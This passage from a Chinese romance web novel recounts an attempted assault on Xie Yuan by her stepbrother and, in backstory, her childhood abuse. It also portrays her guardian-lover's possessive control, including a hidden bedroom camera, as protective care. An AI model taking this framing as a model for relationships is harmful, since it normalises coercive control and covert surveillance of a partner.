某一瞬间,有个大胆荒唐到不可思议的念头,忽然侵袭了过来。
她的指节攥紧又松开,情绪也乱成了一片。
谢沅连杯子里的牛奶都没喝,便上了楼,她趴在柔软的大床上,将脸庞埋进薄被里,就那样自己待了一上午。
沈长凛中午回来,才听说她心情不太好。
他没理沈宴白,先去看了看她。
沈长凛血脉里带着偏执,他明白心底藏了多少恶欲,控制、占有、掠夺的欲念,在和谢沅亲近后,尽数苏醒过来,并且愈演愈烈。
他不再能演得了温柔叔叔。
道德和礼义也不再能够束缚得了他。
可看见谢沅那双哭红的水眸时,纵使有再深的恶欲,再多残忍的念头,也最终是沉寂了下来。
沈长凛将谢沅从床上抱起。
他把她抱在腿上,轻声说道:“……抱歉,我昨天说话太重了。”
“别哭,沅沅。”沈长凛低下眼帘,拂去谢沅脸上的泪水,“你不想公开,我们就先不公开。”
谢沅每次哭都是偷偷地哭。
她在房间里待了一上午,不知道哭了多久,但那双水眸,已经全然红肿了起来。
“不是,不是……”谢沅带着哭腔,细声说道,“我没有怪叔叔。”
她的声音很低,情绪也压抑着。
“我没事,叔叔。”谢沅擦了擦眼泪,“您回来是不是要看哥哥?您不用管我了,先看哥哥要紧。”
她的情绪不太对,细微地挣动着,想将沈长凛推开。
他神情微动,抬手想要掰过谢沅的脸庞,但下一瞬门便被人叩响,管家的声音响起:“先生,时间快要到了。”
沈长凛回来也有一堆事。
他待会儿还有个会要开,至多能看沈宴白片刻。
现在多和谢沅说些话,时间都要不够。
沈长凛抱了抱谢沅,轻声说道:“别难过,沅沅,我这边还有事,等晚上回来咱们再聊。”
她抽咽着,擦了擦眼泪,低低地“嗯”了一声。
沈长凛没能陪谢沅太久,他去看了看沈宴白。
沈宴白昨晚胃病来得急,半夜时还差点吐血,见他咳出血丝时,沈长凛的容色也变了。
好在最后还算平稳。
不过沈宴白的面容还是很苍白,一缕血色都没有。
有时候比起公事,家事处理起来要更麻烦。
沈长凛问了问医生,然后又和沈宴白说了些话,稍后方才离开,他让人时刻报备沈宴白的情况,就这样才算是安心许多。
沈宴白很久没病得这么重过。
他一整天都是在床上度过的,入夜时才好转起来。
或许是太久没急病过了,沈宴白的思绪纷乱,意识也有点模糊。
他一会儿想起十八九时胃出血,被谢沅半夜打急救电话送去医院的事,一会儿又想起前不久在夜场喝酒,被谢沅接走送到私人医院的事。
造访沈宴白梦境的,总是那双白皙的腿和含泪的脸庞,可在这时候,频繁出现的却是那些细致入微的照怀。
对这个没有血缘的妹妹,他一直称不上喜欢。
也就是近来,才多了份心念。
但就是沈宴白也必须要承认,谢沅待他其实很好,每一次她都是真心实意地担心他。
人在生病时,情绪总要更敏感一点。
睡醒过后,沈宴白轻声跟侍候的人说道:“沅沅在家吗?让她过来一趟吧。”
他如果愿意的话,一通电话过去,就有无数的人想要来陪。
但是在这个时候,沈宴白就是莫名地想要见谢沅,他希望现在陪在他身边的是她。
侍候的人有些为难,却又不敢拒绝,硬着头皮去请今日据说心情不好的大小姐。
谢沅应下来得却很快。
她有点急,还以为沈宴白是怎么了,立刻就换了衣服来看他。
见到深色大床上躺着的沈宴白时,谢沅的眼眶差些就红了,她还从没见过沈宴白这样难看的容色。
思绪一下子又飘回到那年他胃出血时的事。
谢沅俯身,哑声唤道:“哥哥!”
听到这声呼唤时,沈宴白心口的那方湖如同落了石子,忽然便溅起涟漪。
谢沅的确是不长记性的,前不久他才那样对她,可是见他生病,她那双水眸里流露出的又全是真挚的关切。
沈宴白游戏人间,风流桀骜,从不在乎另一半的所求所念。
但在谢沅落下目光的这个瞬间,他想到了完全掠夺和占有。
连日来压着的情绪,在这一刻全都开始翻涌,像是滚动的云层和刺耳的雷声。
到底是什么在支配他,生出恶欲,用上阴狠病态的方式,也渴望得到谢沅?到底是什么在控制他,酿出嫉妒,使出偏执乖戾的手段,也坚持阻挠秦承月?
究竟是欲望,还是其他?
夜色昏沉,狂风急躁,乌压压的云层在不断地翻腾,雷声滚动,隐约有暴雨之势。
谢沅孤身站在沈宴白的床边,容色苍白。
她微微俯身,细声问道:“哥哥,你是不舒服吗?”
谢沅懵懂,一如当初她没能看出沈长凛眼中的黑暗,此刻她也没能看出沈宴白眼底的晦涩。
直到被沈宴白摁在床上的那个瞬间,她才终于觉察到危险。
可是深紫色的闪电照亮的不是谢沅的脸。
而是站在门前的沈长凛。
他的神情矜贵,容色俊美,声音也是温雅的:“宴白,你想干什么?”
50-60
第51章
沈宴白风流,女友换得很勤,读书时就有无数人爱慕、追求。
他偶尔会带人回家,特别是在谢沅成年之后。
能让沈宴白带回家的,一般有两类人。
一种是圈子里的,门当户对,跟过来做客也没什么区别,另一种就是他很喜欢的,落落大方,挺拔独立,他愿意和这样的人出入成双。
他喜欢有脾气的姑娘,像乔木,像太阳花。
他讨厌没性子的女孩,像柔柳,像菟丝花。
谢沅是后者,所以她也只得到过沈宴白的厌烦,但她其实很知道,沈宴白爱一个人是什么模样。
他会将人带在身边,参加宴席也一起。
那双色泽稍浅的眼会含笑盯着伴侣,昭然地表现爱意,从不稍作遮掩。
沈宴白想要的从来不是攀附者。
他渴求的是能够并肩的同行者。
谢沅中学时读到过一首现代诗,叫《致橡树》,她也曾经幻想过成为那样的女孩子,也鼓足勇气想要改变自己。
可她向上生长的那个可能,早在太久之前就被人连根拔除了。
在明愿过后,沈宴白很久都没对人上心过,他照旧一任任地交着女友,却也不再会对她们认真,带回家的人就更少。
直到那一年的圣诞节。
明明只是半年多前的事,谢沅对那段时间的记忆却总是很模糊。
之前谢沅年纪小,沈长凛不允沈宴白在家里乱来,后来才允他带人回来。
沈宴白交的女友有高高在上的大小姐,有光彩照人的大明星,偶尔也会有些逢巧认识的年轻模特。
后者有时甚至不能算女友,不过是春风一度,各取所需。
但总归是有例外的。
沈宴白那一次带回来的姑娘就是。
她个子很高,腿也很长,跟沈宴白站在一起时气质上都分毫不输。
后来沈长凛问起时,谢沅只说撞见了他们接吻。
其实不是那样的。
谢沅当晚要去参加一个宴席,很早就开始试礼服,忙碌了一整个白昼。
沈宴白不知道她那时在家,和女友亲密时走火,索性继续吻了下去。
红色的丝带系着绿色的槲寄生。
在其下接吻的爱人,就会幸福终生。
长裙曳地,露出柔软的腰肢,衬衫敞开,后腰和腹肌尽数显现。
那吻既激烈又缠绵,跟荧幕上看到的唇齿相贴全然不一样。
撞破的那一瞬间,谢沅脸颊滚烫,手足无措,对这方面的事,她一直都很懵懂,只是本能地怀着恐惧。
沈宴白以为她是有意窥探,容色当时就冷下来了。
他低声说道:“滚。”
谢沅怕得厉害,她不记得当时是怎么离开的,残存在脑海中的唯有无助和慌乱至极的情绪。
不过是因为后来发生的事更荒唐,这段往事才被她忘却了。
但在沈宴白扣住她手腕的刹那,所有的记忆都苏醒了,清晰得令人感到惧怕。
谢沅没能觉察到任何的旖旎。
她只是本能地想要呼救,恐惧在疯狂地攀升,那段充斥血色的记忆也被一并唤醒。
谢沅带着哭腔唤道:“哥哥!”
她的容色那样天真,还在声声懵懂地叫哥哥。
沈宴白风流,但在欲念上也克制。
回国以后的这些天,他整日忙于公事,从前风流到夜夜笙歌的人,愣是未曾沾染女色分毫。
可在谢沅唤出这声哥哥时,他倏然有些疼。
沈宴白的眼睛颜色比常人稍浅,此刻那双眼里却只有一片浓郁到骇人的深黑。
她怎么敢叫他哥哥的?她怎么敢在这种情况下叫他哥哥的?
掠夺的欲念成为一种本能,快将理智都给燃烧殆尽。
沈宴白阅人无数,却还从未有过如此失控的时候,家里养的妹妹生得白皙柔美,就像是一朵娇柔的花。
她青涩懵懂,天真稚弱,嫩生生的,平白令人想要摧折。
这或许是藏在人类本能里的兽欲。
掠夺,侵占,摧毁,恶欲翻涌滚动,在谢沅眼泪掉下来时全都爆发。
连日来压抑着的情绪,终于到了藏不住的时候。
沈宴白一直没告诉旁人,他之前为何跟女友分手。
那些天他在操心谢沅和秦承月的婚事,跟女友通电话时,谢沅忽然走过,她的声音细弱,娇娇的,唤他哥哥。
女友懂些华文,以为是他养在身边的情人。
说来也怪,沈宴白的女友很多,但她们好像是不约而同的都对谢沅有些敌意。
她十几岁时,跟他一起参加宴席,女友都会为之吃味。
女友的声音有些尖:“什么人,竟然叫你哥哥?是不是你的情人?”
沈宴白的容色阴沉下来。
不知道为什么,有人将他的情人和谢沅这几个词组放在一起时,他会有一种强烈的作呕感。
后来他们分手,他也没弄明白。
现在沈宴白才意识到,是因为他对谢沅起了欲念。
欲念先于情感到来,并在他没有觉察到的时候,悄无声息地燎原。
沈宴白的骨头都在疼,他的手臂撑在谢沅的身侧,指节紧扣住她的皓腕,声音哑得不像话:“别叫我哥哥。”
他的理智快要被烧尽了。
雷声滚动,愈演愈烈,暴雨马上就要落下来。
谢沅更怕了,她的脸色苍白,眸里含着泪,樱唇都咬得发白。
她那么害怕,可沈宴白不想疼谢沅,他只想吻她,只想把她吞吃入腹。
直到雷光照亮整个卧室的那个瞬间。
沈长凛站在门边,容色矜贵,神情淡漠:“宴白,你想干什么?”
谢沅的脸上尽是泪水,她挣开哥哥的钳制,哭着扑到沈长凛的怀里。
她的挣动是那么微弱,可又是那么有效。
谢沅在抗拒他。觉察到这个念头的刹那,沈宴白的血都要冷下来了。
她从前明明是那么渴望他的疼爱和喜欢,现在他愿意将一切都捧给她,她却在害怕。
谢沅攀上沈长凛的脖颈,哭着唤道:“叔叔!”
以前沈长凛才是她在这个家里最怕的人,可现在她紧紧地扑到他的怀里,将他当做这世上最信赖、最值得依靠的人。
沈宴白这次犯的是胃病。
但疼的却是肺腑,胸腔里有沉闷滞塞的痛意在涌动。
沈长凛让随行的程特助先将谢沅抱过去,她紧忙应是,将哭着的谢沅抱在怀里,带离沈宴白的卧室。
他回眸看向沈宴白。
叔叔的容色还是惯常的矜贵冷淡,但那双眼里却丝毫柔情都没有,封存着深色的寒意。
沈宴白的指节微动,他抬起头来,意欲寻找借口跟沈长凛解释。
“啪——”
猛然偏过头时,沈宴白才意识到沈长凛做了什么。
他的脸颊泛红,神情愣怔,瞳孔中也尽是茫然,许久才回过神来。
叔叔竟然打了他。
沈长凛在亲近人面前很温柔。
他脾气好,性格也好,无论何时都是一副漫不经心的样子,仿佛万事都不挂心上。
在沈宴白最叛逆、最堕落的年岁,沈长凛也从没骂过他一句。
他那样包容,又那样和柔,从不像别的长辈那般满心规训晚辈的想法。
沈长凛至多会靠在书房的桌案边,笑着说他:“你当然可以一直这样,但往后我可不会再养你,沈家沦落成什么样,也跟我没半点关系。”
沈宴白几乎从没见过沈长凛在家里动怒。
但此刻沈长凛的眼眸里,是他从未见过的深寒冷意。
“你最近不是在查谢沅在林家经历过什么吗?”他很轻声地说道,“不用再查了,我来告诉你吧。”-
谢沅的家世其实还算可以。
她出身书香门第,家学很好。
祖父谢敏行已经逝世多年,每年诞辰和忌日还会有大批人来到他的故居和纪念馆。
摆上鲜花,进行悼念。
他的学生也很多,在那些年里,有人踩着他往上爬,将他先前的成果挪为己用,轻易就坐上了高位。
直到很多年后,那些泼在谢敏行身上的污水才被彻底抹去。
他活着时没有子嗣,独子谢知是遗腹子,在他死后方才降世。
谢知由母亲一手养大,年岁很小时就展现出了超然的天赋。
他上小学的那一年,校长拍着他的肩膀说:“你以后一定能成为华先生、陈先生那样的数学家。”
谢知是地地道道的天才,十五岁时,他就读了大学。
从78年少年班创立以来,一直到谢知死后的这些年,都再没人的天赋能够超越他。
他对数字天生敏感,这种天赋强得令人生惧。
谢知不慕荣华,他工作时,需要填写家庭信息,身边的人方才知道他是谢敏行的后人。
那时候谢敏行的声名已经不再脏污。
有人给他建了纪念馆,也有学人专门研究他,他被重新在燕城安葬,以极高的礼仪规格。
但谢知却从来不以谢敏行之子自居。
他的本性中带着桀骜,傲视权贵,傲视荣华,唯有数学值得他俯首谦卑。
谢敏行的故人想要来偿还当年的恩情,主动在谢知深陷内部斗争的泥潭时提供奥援,谢知也拒绝了。
或许所有的天才都免不了遇到这个问题。
谢知不屑于权势争斗,也不善于应对恶意的攻讦。
一个人的时候,他并不在乎这些,可那时候他已经有妻有女。
谢沅才两三岁,坐在谢知的膝上玩积木。
她不随父亲,也不随母亲,天生就有点笨拙迟钝,但两人都很疼她。
谢知沉默了片刻,向着父亲谢敏行的故人说道:“您不用向我报恩,毕竟当初是父亲助您,并非是我。”
他对面的是秦家的掌权人,也是如今在整个燕城都能说得上话的人。
这个人跟谢知之前遇到的人都不一样,他刚刚站稳脚跟,从泥潭挣脱,最先想到的不是稳固权势,而是向故人报恩。
他轻声说道:“我不敢欠您这份人情。”
“不过倘若有朝一日,我真的遇事,”谢知低下头,“恳请您帮帮我的妻子和女儿。”
谢沅还那么小,她连幼儿园都没上,话也说不全。
他孤身一人惯了,可却舍不得叫妻子和女儿受苦。
谢敏行的故旧无数,有无数人敬仰他,也有无数人在黑暗里衔恨着他。
谢知现在活得还算可以。
但人无远虑必有近忧,他还是希望他的孩子能幸福平安一生,深陷在过去里的魑魅魍魉不能扰动她的快乐。
对面的人儒雅温文,应下了恩人之子的请求。
两人谈话顺利,谢知也渐渐放松下来。
“沅沅,真是个好名字。”秦家的掌权人温和说道,“沅芷湘兰。”
谢知也笑了,他戳了戳女儿的小脸:“命里缺水呢。”
那个下午的谈话被封存在了时间里。
谢知最终离开燕城,去了滨城,那些年他经常在各种地方待,最后才在宁城安定下来。
谢沅在宁城读了六年小学,口味也越来越偏爱宁城的食物。
谢家的祖籍在江省,不过从谢知开始,就再也没有回过故地,他在宁城工作六年,愣是连邻市父亲的纪念馆都没去过。
或许真是血脉在作祟。
谢沅在宁城待得很惯,没有水土不服,也很喜欢这边的吃食。
生活在渐渐向好。
十一二岁时,谢沅展现出她在思维上的天赋,叫担心了孩子十来年的夫妇二人也终于放下心来。
谢知笑说道:“沅沅往后能学哲学。”
谢沅坐在小沙发里,弯起眉眼:“哲学是什么呀,爸爸?”
夫妻二人都笑了起来。
升初中的那个暑假,是谢沅生命中最美好的一个夏天,也是最后一个美好的夏天。
她小时候有点笨拙迟钝,长大后在学业上却越来越顺利。
但宁大附中录取通知书下来的那一天,最先来到的却是噩耗。
谢沅的童年结束在那个下午,也彻底破碎在那个下午,从此以后,她的人生就再没有那样安然的快乐。
山岳的轰然倒塌,让整个家庭都陷入了无措。
谢沅的母亲冯依出身很平凡,她的容色很美,擅长艺术,也只擅长艺术。
那是一个没有任何独立生存能力的女人,在被人呵护时,她是美丽盛开的花朵,可一旦没有人来照看,她就会快速地衰败。
但这些都是旁人以为的。
冯依柔弱,野心却极盛。
她已经享惯了丈夫带来的荣华富贵,再不能往后退却。
谢知离开后,谢沅跟着母亲回到了燕城。
她出生在这里,可这里对她来说,是一个全然陌生的城市。
谢沅很不能适应,她很希望母亲能陪陪她,但那三年都是颠沛流离、无依无靠的。
她很懵懂,甚至不明白母亲到底想要什么。
直到谢沅十五岁时,生活才终于安定下来。
曾经温婉的母亲一袭艳色长裙,陪在一个男人身边,俯身温柔地说道:“沅沅,这是爸爸。”
初到林家时,谢沅以为一切都会好起来,这些年颠沛流离,她也希望母亲能够幸福。
她怯生生的,细声唤道:“爸爸。”
男人握住她的小手,笑着说道:“你好,沅沅。”
谢沅年纪太小太幼,她完全没能窥探出男人温和外表下,脏污到恶心的欲念。
林家的哥哥很多,过着纸醉金迷的生活。
谢沅很怕冲撞他们,时时都很小心,冯依那时也很护着她,将她的房间安排在了离那群公子哥们最远的一处。
两人很快就结婚。
谢沅的姓名也曾短暂地改成过林沅。
她学习很用功,在别的孩子都沉迷打游戏时,她就已经能安静地读书了。
中学毕业后,谢沅考上了那所在燕城、乃至全国都很有名的高中。
林家的哥哥笑着说:“很厉害哟,到时候千万别忘了看看高你一年级的那个校草哥哥。”
他们说的是沈宴白。
沈家的动乱才停下来没多久,可无人敢小觑沈家。
因为如今掌家的是沈长凛。
但谢沅是听不懂这些的,对权贵圈子里的一切,她都很懵懂,母亲冯依平时也不会多带她。
林家如今是在养着她,可林家到底认不认这个女孩,谁也没明说。
尤其是在冯依有了身孕后,她也懒得去操心这件事了。
谢沅安静地长在林家,就这样又过了些时光。
一切的变故发生在冯依意外流产,并知悉自己以后再难有孕之后,她伤心欲绝,在得知腹中的是儿子后,更是几欲陷入癫狂。
林家的哥哥很多,可爸爸是没有儿子的。
所以妈妈想给爸爸生一个儿子。
谢沅单纯天真,也明白这个道理,她和继父一起陪在母亲的身边。
可在母亲阖上眼睡去后,继父的大掌覆在了她的小手上。
她不明白他为什么这样做,只是害怕得厉害,细声唤道:“爸爸!”
继父想要把她抱起来,但好在母亲冯依醒过来了。
谢沅满心都是恐惧和无措,妈妈的脸上却是一种哀戚和无望。
她还以为母亲误会,颤声说道:“妈妈,是爸爸……他、他突然那样的。”
谢沅很害怕,冯依却握住她的手,流下了眼泪:“你以为他为什么愿意娶我,还不是……还不是为了你!”
冯依的眼神那样复杂,悲伤,嫉恨,认命,恳求。
“沅沅,你帮帮妈妈,好不好?”她久违地抱住女儿,“算妈妈求你了,啊?”
谢沅僵硬地待在母亲的怀抱里,却没有觉察到任何的温暖。
她好害怕,尽管她也不知道她在怕什么。
谢沅只是开始下意识地避着继父,偶尔也避着母亲。
她胆子很小,话语又没法讲给别人,只能写在日记本上,然后锁进她的小柜子里。
日复一日的胆战心惊,终于迎来最绝望的那一天。
母亲到楼上看她,给她倒了杯牛奶。
谢沅不敢喝,她不知道她在担心什么,她就是不敢喝。
后来冯依强迫她将牛奶喝了下去,然后过来的就是继父,他叫她“沅沅”,然后让她叫“爸爸”。
谢沅叫不出来,她只想吐。
她是个很柔弱的小姑娘,不经风雨,也没法向上生长变成参天的乔木。
但在那个下午,谢沅拼尽了一切去保护自己。
她成功了。
玻璃刺透了她的掌心,也刺透了那个男人的脖颈,窗户碎了一地,刀刃也落在地上。
接着就是血,满地的血,脏得叫人害怕。
谢沅浑身颤抖着,拨通了那个电话。
她对数字不敏感,记电话的能力也很差,只有一个号码她记得很牢。
父亲说,在你觉得一切要完了的时候,就拨通这个电话。
谢沅满脸都是泪水,她用沾血的手指,打通了那个电话,接起电话的却不是预想中的年长爷爷,是一个很好听的男声。
他的声音很轻,柔得像风一样:“你好,有什么事吗?秦先生有事不在。”
“救命,救命……”谢沅哭着说道,“求求你,能不能救救我?”
她语无伦次,话还没有说完,就因为失血过多昏了过去。
电话那头的人温和静默,在她的声音落下后,却立刻就拨了报警和急救电话。
所以谢沅第一次见到沈长凛,其实是在医院。
他依照那个旧的约定,帮她将事情摆平,然后把她安置在沈氏旗下的一家私人医院里。
那段时间,她见了无数的医生。
沈长凛平时事情很多,几日后他才了解清楚全部的情况。
来见谢沅时,是在一个日光很好的下午。
她穿着白色的病号服,身躯单薄,像是一阵风就能吹走。
医生说,谢沅尝试过自杀。
明明她才是那个什么也没有做错的人。
第一次见沈长凛,谢沅磕磕绊绊地自我介绍,话还没说完就红了眼,他轻声说道:“没关系。”
他递给她一张手帕,擦净了她的眼泪。
因为知道谢沅经历过什么,所以在恶欲最汹涌的时候,沈长凛也舍不得动她。
她是一朵被打碎的花。
他用了很长的时间才将她拼好,让她焕发生机。
所以他这辈子都见不得她落泪、难过。
如果当初没有发生那个意外,哪怕有一天谢沅牵着沈宴白的手过来,求沈长凛成全,他也不会多说什么。
他只会帮她解决和秦家的联姻,摆平那些杂乱的声音,让她幸福。
可是沈长凛见不得,他精心呵护了数年的花朵被人摧折伤害,即便他知道,谢沅一直爱着沈宴白。
他说完以后,沈宴白的脸色同样难看。
沈宴白的脸上一点血色也没有,脸颊上高高肿起的红痕也透着灰败,像被人突然用很大的锤子敲击在了头顶。
愣怔,无措,茫然-
谢沅的思绪很乱,程特助陪在她的身边,低声哄她:“不怕,沅沅,医生马上就过来了。”
程特助之前照顾过谢沅,也是早先陪在她身边最久的人。
她一直都很疼谢沅,几乎将谢沅当做女儿对待。
谢沅无力地靠在程特助的怀里,她摇着头说道:“不要医生,我想见叔叔……”
她的话音带着哭腔,细弱可怜。
沈长凛只是短暂回来看看沈宴白,待会儿还有很要紧的事要处理。
可就算他把事情全推开,也不能放心谢沅在这种状态下单独待一分钟。
沈长凛没和沈宴白说太久,很快就折身回来。
他把谢沅抱在了怀里,低声哄她:“叔叔回来了,沅沅。”
外面在下暴雨,沈长凛让程特助下去,然后把最厚重的那层窗帘也给关上。
谢沅的声音细弱,带着哭腔:“叔叔,我没有……没有引诱哥哥。”
沈长凛揽着谢沅,容色有一丝细微的裂痕,他有很多的恶欲,有些是对着谢沅,有些是对着旁人。
只有一件事,他从来没有透露过分毫。
那就是他一直很后悔,在当初没有干脆让冯依和那个渣滓死。
沈长凛紧扣着谢沅的后背,将她整个人都抱在怀里,哑声说道:“沅沅什么错也没有,你不要自责,不要难过。”
第52章
一整个夜晚都是混乱的。
瑞典医生过来,给谢沅打了镇静剂,她的情绪才慢慢地稳定下来。
她靠在沈长凛怀里,眼眸里还都是泪水。
谢沅已经哭累了,不想再哭了,可在沈长凛抱住她低哄时,她的眼眶无法控制地泛酸,泪水也止不住地往下掉。
“没事的,沅沅。”他抚着她的后背,不断地安抚道,“叔叔在这里,没人会伤害你。”
沈长凛的话语温柔,那双浅色的眼里却尽是黑暗的情绪。
他早应该觉察的。
沈宴白是多无所顾忌的人,上回谢沅单独跟他出去,却不敢说是做了什么,八成就是出了类似的事。
谢沅是很乖的孩子,她胆子小,也很少有胆量忤逆沈长凛。
当时他那样动怒,她还是一个字都不肯吐露,只应该是出现了让她非常无措又难以启齿的事才对。
沈长凛揽着谢沅,长睫轻轻垂落,掩住眼底的恶欲。
他很轻地吻了吻她的额头,把她抱回到床上:“待会儿药效就上来了,我陪你一起睡,好不好?”
谢沅眸里都是泪,她的手臂环着沈长凛的脖颈,被抱到床上后还是没有松开。
她好信任他。
明明恐惧到想要躲藏起来,手臂却还是紧紧地攀上他的脖颈。
她以前多怕他。
那一刻沈长凛说不出心底是什么情绪。
他搂住谢沅的腰身,托住她臀根的软肉,把人往怀里抱得更紧一些,哑声说道:“抱歉,沅沅,上回是叔叔误会你了。”
谢沅带着哭腔,弱声说道:“没关系的,叔叔。”
不用跟他这样说的。
沈长凛抿了抿唇,他拂去谢沅眼尾的泪水,轻揽着她等待着药效的发作。
镇静剂发挥效力得很快,打完十分钟左右,她的眼眸就阖了起来,呼吸也渐渐悠长平稳起来。
精神类的病症,在许多时候比作用于肉身的病症要难缠得多。
笼在谢沅身上的是一段持续的阴影,看起黯淡无光,不会对日常生活有什么影响,可每当意外发生时,就像是藏在黑暗里的恶鬼,会将她乍然吞噬。
没有药物可以解决,也没有办法可以根治。
经年的呵护和照料,可能抵不过一次稍有疏忽的意外。
所以沈长凛总希望谢沅能一直待在家里,待在他看得见的地方,不仅是因为他的控制欲病态,他希望谢沅能够平安喜乐。
时时刻刻,平静幸福。
但有时危险会出现在最明亮的地方。
沈宴白厌恶谢沅多年,人也是流连花丛的性子,花花世界他早就遍览,对女人的要求也越来越高。
谁也想不到,某天他会对家里的妹妹下手。
十五岁时那次未遂的伤害,都给谢沅带来了那样深重的疤痕,沈长凛不太敢想,如果今夜他稍微来迟半步会如何。
他抱着谢沅,眼底的晦暗越来越深。
谢沅睡过去得很快,她靠在他的臂弯里,手臂渐渐垂落,缩成很小的一团,像没长大的猫崽子。
沈长凛俯身,轻吻了吻她的额头。
等到谢沅彻底昏睡过去,他方才起身。
如果可以的话,他想陪在她身边一整晚,可如果事情现在不处理掉,明天还是没法陪她。
沈长凛看了眼腕表,等到时间走到最后一刻,才掩上谢沅的房门离开。
她的房间里是有摄像头的,在设计时就安在了暗处,最初是怕她自杀,后来渐渐有了别的意味。
谢沅自己也知道。
沈长凛坐在车里,一整路都在盯着屏幕。
黑暗里他的小姑娘在安然地睡着。
在镇静剂起效后的这十余个小时,不会有人能打扰她,就连藏着魑魅魍魉的梦境也不能-
谢沅接近正午时才醒,外面还在下雨,已经不能再说是暴雨,但雨势还是很大。
她撑着手臂坐起身。
睡了太久,额侧的穴位疼得厉害。
谢沅扶着额头,皱眉想了好久,才将昨夜的记忆给梳理清楚。
情绪的断裂真的非常有用。
她凝眸看向窗外的急雨和山间的青绿,几乎要想不起来昨晚是怎样的崩溃和恐惧。
沈长凛这两天很忙,如果前段时间是一般的忙碌,最近就是非常忙碌了。
但谢沅在打开屏幕时,还是看到了他发来的消息。
【睡醒了给我回个电话,沅沅。】
镇静剂有时会带来恍惚感,让谢沅有一种雾里看花,被关在玻璃里的错觉,但在看到这条消息时,她的魂魄好像突然就落到了实处。
她把平板拿过来,看了看沈长凛的行程表。
然后谢沅又跟李特助发了消息,问沈长凛是否有空。
他们好像是在一起的,她的消息刚刚发过去,沈长凛的电话就打过来了。
谢沅每次接他电话是要做些准备的,特别是视频电话,突然和屏幕里的叔叔对上视线时,她整个人都懵在了原处。
她穿着吊带短裙,锁骨处的大片白皙都裸露出来。
柔腻得像是一片雪。
谢沅脸颊涨红,紧忙把睡乱的裙子往上拉了拉,细声唤道:“中午好,叔叔。”
她的气色好了很多,水眸抬起,长睫如蝶翅般轻颤着。
“抱歉,今天事情有点多,”沈长凛低眸看向谢沅,“晚些时候才能回去看你。”
“你想在家里休息就在家里休息,想出去也无妨,”他轻声说道,“但如果有不舒服的话,要记得和叔叔说。”
谢沅紧忙摇头。
“我不出门,叔叔。”她抬起眼帘,“没关系,我等您回来。”
谢沅还坐在床上,她身上只穿了睡裙,白色的吊带裙很薄,绸质缎面,柔软得像是水一样。
但她的肌肤更加柔白,泛着莹润的光泽,即便是隔着屏幕,也那样的灼眼。
曾经柔弱易折的小孩子,到底是长大了许多。
谢沅的承受力越来越强,但沈长凛还是见不得她受委屈,他低声说道:“好,那在家里好好休息吧,沅沅。”
他轻声说道:“你哥哥的事,不必担心。”
沈长凛的容色俊美,在微光之下,更显矜贵温雅,他的眸色浅浅的,像是精细雕琢的玉石。
说这话时,他的眼底却没什么温和情绪。
谢沅愣怔了一下。
沈长凛一向疼沈宴白,沈宴白性子桀骜不驯,大部分时候不会如何,偶尔也会惹到祸事,有次还意外冲撞到了不得的大人物。
但沈长凛从不会多说什么,只会毫不在意地帮他善后。
毕竟是在这世上为数不多的亲人,沈长凛待沈宴白很好,好到谢沅也羡慕的程度。
她全然不曾想到过,沈长凛竟会为了她处置沈宴白。
谢沅低下眉眼,细声说道:“没事的,叔叔,我……我没有怎样的。”
沈长凛温和又强硬地打断她。
“没关系,沅沅。”他轻声说道,“你好好地在家里休息,就可以了。”
谢沅本能地觉察到,她要是再抵抗沈长凛的好意,他就要生气了,虽然她不太明白叔叔在气什么。
在这个家里面,她才是外人,不是吗?
哪里有为了外人责斥亲侄子的道理?
谢沅低垂着眸子,轻轻地“嗯”了一声,而后细声说道:“好,叔叔。”
沈长凛的眉心舒展开来,他的声音轻柔:“不打扰你了,去用些午餐吧,等你中午睡醒,叔叔就回来了。”
谢沅柔声说好,然后挥手和沈长凛告别。
挂断电话后,她稍作梳洗,便下楼用午餐。
路过回廊的时候,谢沅突然发现沈宴白不在,联想到叔叔刚才的话,她有些愣怔地想到,叔叔不会让哥哥去别处了吧?
坐在高脚椅前时,她还是懵然的。
管家一身笔挺西装,温声说道:“小姐,少爷去宁城出差了,这几天都不在家里。”
沈宴白的胃病还没好全,现在就去外地真的可以吗?
谢沅不敢再多问,也不敢再多想,怕沈长凛知道了不高兴。
她低着头,轻声说道:“嗯。”
不管怎么说,沈宴白最近都不会在家里,谢沅忍不住地松了口气,紧绷的心弦也放松下来。
自从那次被沈宴白单独带出去后,她就一直有点怕。
谢沅已经过了慕艾思春的年纪。
她比谁都知道,她跟沈宴白是绝无可能的,与沈长凛共枕之后,她更是将旧事彻底埋藏在了心底。
或许是哥哥最近太孤单了。
谢沅也是这时才想起,沈宴白很久没交女友了。
他近来很忙,可能是生活太紧绷,也可能是在昨夜将她认成别人了。
谢沅想起上一回沈宴白喝醉时,意外唤出来的那声“愿愿”,以及在夜场接到沈宴白时见到的那个白裙女孩,暗想他可能是还在念着故人。
当初的事,他太不甘心了。
天之骄子的沈家大少爷,头一回动凡心,却被真心爱着的女孩给甩了。
谢沅胡乱地给沈宴白找着借口,她只无论如何也不敢再往他回头看见她那个荒唐的方向去猜想。
爱一个人不是那样子的。
爱应该是呵护,不可能是伤害。
只有欲望才是那个样子。
谢沅执着餐叉,望向岛台外的白色玫瑰,那是一种高贵冷艳的花,守护白玫瑰的花棚也比寻常花棚要更精致。
但隔着朦胧的雨幕,玫瑰花看起来温软可亲,就像白色的小精灵。
谢沅捧着下颌,凝眸看了好久。
思绪胡乱地流动,当吃到她都觉得齁甜的糖心时,她方才回过神来,紧忙喝了些清水来压。
谢沅昨晚打完镇静剂就直接睡了,午睡前她又去沐浴了一回。
身躯沉浸在盛满热水的浴缸里,什么都不用想地放松着,就像是做了一次精神上的按摩。
爬上床时,谢沅的思绪还是沉静的。
她聆听着外面的雨声,好好地睡了一整个午后-
每次打完镇静剂好久,谢沅还会很困倦,如果不是三点多时快递员的那通电话,她感觉她能睡到五点。
她揉着眼睛,懵然地接起电话。
谢沅不记得她最近有买什么东西。
她只在高中毕业时尝试过一段网购,然后就很少去买。
家里有专门负责采办东西的人,谢沅从来没有缺过什么,后来跟沈长凛亲近后,她更是一点须要网购的空余都没有。
当快递员言说是女装时,她才陡地清醒过来。
是她之前买的那种裙子。
谢沅的困意顿消,她坐起身来,立刻说道:“稍等一下,我亲自签收。”
她披上外衣,然后踩着兔子拖鞋,就匆匆地下楼。
谢沅的粉腮染上薄红,她几乎是小跑着去大门边的,外面还在下雨,她撑着伞,小腿都被溅湿了。
巡视的保镖很困惑,快步就走到她的跟前:“小姐,有什么事须要我们代劳吗?”
谢沅摆着手,连声说道:“不用,不用,我来拿快递。”
她的脸庞泛红,见到快递员过来,就快速小跑过去签收。
